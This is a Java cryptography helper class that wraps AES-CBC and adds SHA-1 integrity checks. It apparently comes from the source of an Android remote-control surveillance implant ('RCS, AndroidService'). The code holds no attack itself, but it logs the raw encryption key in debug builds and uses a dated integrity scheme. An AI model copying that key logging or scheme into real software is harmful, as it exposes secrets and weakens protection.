/* *******************************************
* Copyright (c) 2011
* HT srl, All rights reserved.
* Project : RCS, AndroidService
* File : EncryptionPKCS5.java
* Created : Apr 9, 2011
* Author : zeno
* *******************************************/
package com.android.dvci.crypto;
import java.security.InvalidAlgorithmParameterException;
import java.security.InvalidKeyException;
import java.security.NoSuchAlgorithmException;
import java.util.Arrays;
import javax.crypto.BadPaddingException;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import com.android.dvci.auto.Cfg;
import com.android.dvci.util.ByteArray;
import com.android.dvci.util.Check;
import com.android.dvci.util.Utils;
// TODO: Auto-generated Javadoc
/**
* The Class EncryptionPKCS5.
*/
public class EncryptionPKCS5 {
private CryptoCBC crypto;
public EncryptionPKCS5() {
}
public EncryptionPKCS5(final byte[] key) {
try {
if (Cfg.DEBUG) {
Check.log(TAG + " (EncryptionPKCS5): " + ByteArray.byteArrayToHex(key));
}
init(key);
} catch (CryptoException e) {
if (Cfg.DEBUG) {
Check.log(TAG + " (EncryptionPKCS5) Error: " + e);
}
}
}
/**
* Instantiates a new encryption pkc s5.
*
* @param key
* the key
* @throws CryptoException
* @throws NoSuchPaddingException
* @throws NoSuchAlgorithmException
*/
public void init(final byte[] key) throws CryptoException {
try {
crypto = new CryptoCBC(key);
} catch (Exception e) {
if (Cfg.DEBUG) {
Check.log(TAG + " (init) Error: " + e);
}
throw new CryptoException();
}
}
/** The Constant DIGEST_LENGTH. */
private static final int DIGEST_LENGTH = 20;
/** The debug. */
private static final String TAG = "EncryptionPKCS5"; //$NON-NLS-1$
/*
* (non-Javadoc)
*
* @see com.ht.AndroidServiceGUI.crypto.Encryption#decryptData(byte[], int,
* int)
*/
public byte[] decryptData(final byte[] cyphered, final int offset, final long enclen) throws CryptoException {
if (Cfg.DEBUG) {
Check.requires(enclen > 0 && enclen <= cyphered.length, " (decryptData) Assert failed, enclen: " + enclen);
Check.requires(offset >= 0 && offset < cyphered.length, " (decryptData) Assert failed, offset: " + offset);
Check.requires(cyphered.length >= offset + enclen, " (decryptData) Assert failed, cyphered.length: "
+ cyphered.length);
}
// int padlen = cyphered[cyphered.length -1];
// int plainlen = enclen - padlen;
if (Cfg.DEBUG) {
Check.requires(enclen % 16 == 0, "Wrong padding"); //$NON-NLS-1$
}
byte[] plain;
try {
plain = crypto.decrypt(cyphered, offset, enclen);
} catch (Exception e) {
if (Cfg.DEBUG) {
Check.log(TAG + " (decryptData) Error: " + e);
}
throw new CryptoException();
}
return plain;
}
/**
* Encrypt data integrity.
*
* @param plain
* the plain
* @return the byte[]
*/
public byte[] encryptDataIntegrity(final byte[] plain) {
final byte[] sha = Digest.SHA1(plain);
final byte[] plainSha = Utils.concat(plain, sha);
if (Cfg.DEBUG) {
Check.asserts(sha.length == DIGEST_LENGTH, "sha.length"); //$NON-NLS-1$
}
if (Cfg.DEBUG) {
Check.asserts(plainSha.length == plain.length + DIGEST_LENGTH, "plainSha.length"); //$NON-NLS-1$
}
try {
return crypto.encrypt(plainSha);
} catch (Exception e) {
if (Cfg.DEBUG) {
Check.log(TAG + " (encryptDataIntegrity) Error: " + e);
}
return null;
}
}
/**
* Decrypt data integrity.
*
* @param cyphered
* the cyphered
* @return the byte[]
* @throws CryptoException
* the crypto exception
*/
public byte[] decryptDataIntegrity(final byte[] cyphered) throws CryptoException {
byte[] plainSha;
try {
plainSha = crypto.decrypt(cyphered, 0, cyphered.length);
} catch (Exception e) {
if (Cfg.DEBUG) {
Check.log(TAG + " (decryptDataIntegrity) Error: " + e);
}
return null;
}
final byte[] plain = ByteArray.copy(plainSha, 0, plainSha.length - DIGEST_LENGTH);
final byte[] sha = ByteArray.copy(plainSha, plainSha.length - DIGEST_LENGTH, DIGEST_LENGTH);
final byte[] calculatedSha = Digest.SHA1(plainSha, 0, plainSha.length - DIGEST_LENGTH);
// if(Cfg.DEBUG) Check.asserts(SHA1Digest.DIGEST_LENGTH == 20, //$NON-NLS-1$
// "DIGEST_LENGTH");
if (Cfg.DEBUG) {
Check.asserts(plain.length + DIGEST_LENGTH == plainSha.length, "plain.length"); //$NON-NLS-1$
}
if (Cfg.DEBUG) {
Check.asserts(sha.length == DIGEST_LENGTH, "sha.length"); //$NON-NLS-1$
}
if (Cfg.DEBUG) {
Check.asserts(calculatedSha.length == DIGEST_LENGTH, "calculatedSha.length"); //$NON-NLS-1$
}
if (Arrays.equals(calculatedSha, sha)) {
return plain;
} else {
if (Cfg.DEBUG) {
Check.log(TAG + " Error: decryptDataIntegrity: sha error!");//$NON-NLS-1$
}
throw new CryptoException();
}
}
public byte[] decryptData(byte[] cypher) throws CryptoException {
return decryptData(cypher, 0, cypher.length);
}
public byte[] encryptData(byte[] clear) throws CryptoException {
try {
return crypto.encrypt(clear);
} catch (InvalidKeyException e) {
if (Cfg.DEBUG) {
Check.log(TAG + " (encryptData) Error: " + e);
}
} catch (InvalidAlgorithmParameterException e) {
if (Cfg.DEBUG) {
Check.log(TAG + " (encryptData) Error: " + e);
}
} catch (IllegalBlockSizeException e) {
if (Cfg.DEBUG) {
Check.log(TAG + " (encryptData) Error: " + e);
}
} catch (BadPaddingException e) {
if (Cfg.DEBUG) {
Check.log(TAG + " (encryptData) Error: " + e);
}
}
throw new CryptoException();
}
}